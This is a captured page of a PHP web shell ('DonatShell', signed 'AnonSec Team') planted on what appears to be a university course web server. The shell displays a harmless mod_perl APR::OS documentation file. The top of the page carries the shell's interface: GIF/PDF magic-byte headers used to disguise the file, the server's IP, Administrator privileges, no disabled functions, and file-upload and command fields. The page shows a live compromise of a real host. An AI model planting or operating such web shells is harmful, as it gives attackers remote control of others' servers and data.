GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST1611/VM_Data/Install/ApachePerlFiles/Perl/html/site/lib/APR/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST1611/VM_Data/Install/ApachePerlFiles/Perl/html/site/lib/APR/OS.html
<?xml version="1.0" ?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<!-- saved from url=(0017)http://localhost/ -->
<script language="JavaScript" src="../../../displayToc.js"></script>
<script language="JavaScript" src="../../../tocParas.js"></script>
<script language="JavaScript" src="../../../tocTab.js"></script>
<link rel="stylesheet" type="text/css" href="../../../scineplex.css">
<title>APR::OS - Perl API for Platform-specific APR API</title>
<link rel="stylesheet" href="../../../Active.css" type="text/css" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rev="made" href="mailto:" />
</head>

<body>


<!-- INDEX BEGIN -->
<div name="index">
<script>writelinks('__top__',3);</script>
<h1><a>APR::OS - Perl API for Platform-specific APR API</a></h1>
<p><a name="__index__"></a></p>


<ul>

	<li><a href="#name">NAME</a></li>
	<li><a href="#synopsis">Synopsis</a></li>
	<li><a href="#description">Description</a></li>
	<li><a href="#api">API</a></li>
	<ul>

		<li><a href="#current_thread_id"><code>current_thread_id</code></a></li>
	</ul>

	<li><a href="#see_also">See Also</a></li>
	<li><a href="#copyright">Copyright</a></li>
	<li><a href="#authors">Authors</a></li>
</ul>

<hr name="index" />
</div>
<!-- INDEX END -->

<p>
</p>
<h1><a name="name">NAME</a></h1>
<p>APR::OS - Perl API for Platform-specific APR API</p>
<p>
</p>
<hr />
<h1><a name="synopsis">Synopsis</a></h1>
<pre>
  <span class="keyword">use</span> <span class="variable">APR::OS</span> <span class="operator">();</span>
  
  <span class="comment"># get current thread id</span>
  <span class="keyword">my</span> <span class="variable">$tid</span> <span class="operator">=</span> <span class="variable">APR::OS::current_thread_id</span><span class="operator">();</span>
</pre>
<p>
</p>
<hr />
<h1><a name="description">Description</a></h1>
<p><code>APR::OS</code> provides the Perl interface to platform-specific APR API.</p>
<p>You should be extremely careful when relying on any of the API
provided by this module, since they are no portable. So if you use
those you application will be non-portable as well.</p>
<p>
</p>
<hr />
<h1><a name="api">API</a></h1>
<p><code>APR::OS</code> provides the following methods:</p>
<p>
</p>
<h2><a name="current_thread_id"><code>current_thread_id</code></a></h2>
<p>Get the current thread ID</p>
<pre>
  <span class="variable">$tid</span> <span class="operator">=</span> <span class="variable">APR::OS::current_thread_id</span><span class="operator">();</span>
</pre>
<dl>
<dt><strong><a name="tid" class="item">ret: <code>$tid</code> ( integer )</a></strong>

<dd>
<p>under threaded MPMs returns the current thread ID, otherwise 0.</p>
</dd>
</li>
<dt><strong><a name="since_2_0_00247" class="item">since: 2.0.00</a></strong>

</dl>
<p>Example:</p>
<pre>
    <span class="keyword">use</span> <span class="variable">Apache2::MPM</span> <span class="operator">();</span>
    <span class="keyword">use</span> <span class="variable">APR::OS</span> <span class="operator">();</span>
    <span class="keyword">if</span> <span class="operator">(</span><span class="variable">Apache2::MPM</span><span class="operator">-&gt;</span><span class="variable">is_threaded</span><span class="operator">)</span> <span class="operator">{</span>
        <span class="keyword">my</span> <span class="variable">$tid_obj</span> <span class="operator">=</span> <span class="variable">APR::OS::current_thread_id</span><span class="operator">();</span>
        <span class="keyword">print</span> <span class="string">"TID: </span><span class="variable">$tid</span><span class="string">"</span><span class="operator">;</span>
    <span class="operator">}</span>
    <span class="keyword">else</span> <span class="operator">{</span>
        <span class="keyword">print</span> <span class="string">"PID: $$"</span><span class="operator">;</span>
    <span class="operator">}</span>
</pre>
<p>
</p>
<hr />
<h1><a name="see_also">See Also</a></h1>
<p><a href="../../../docs/2.0/index.html">mod_perl 2.0 documentation</a>.</p>
<p>
</p>
<hr />
<h1><a name="copyright">Copyright</a></h1>
<p>mod_perl 2.0 and its core modules are copyrighted under
The Apache Software License, Version 2.0.</p>
<p>
</p>
<hr />
<h1><a name="authors">Authors</a></h1>
<p><a href="../../../about/contributors/people.html">The mod_perl development team and numerous contributors</a>.</p>

</body>

</html>

Anon7 - 2022
AnonSec Team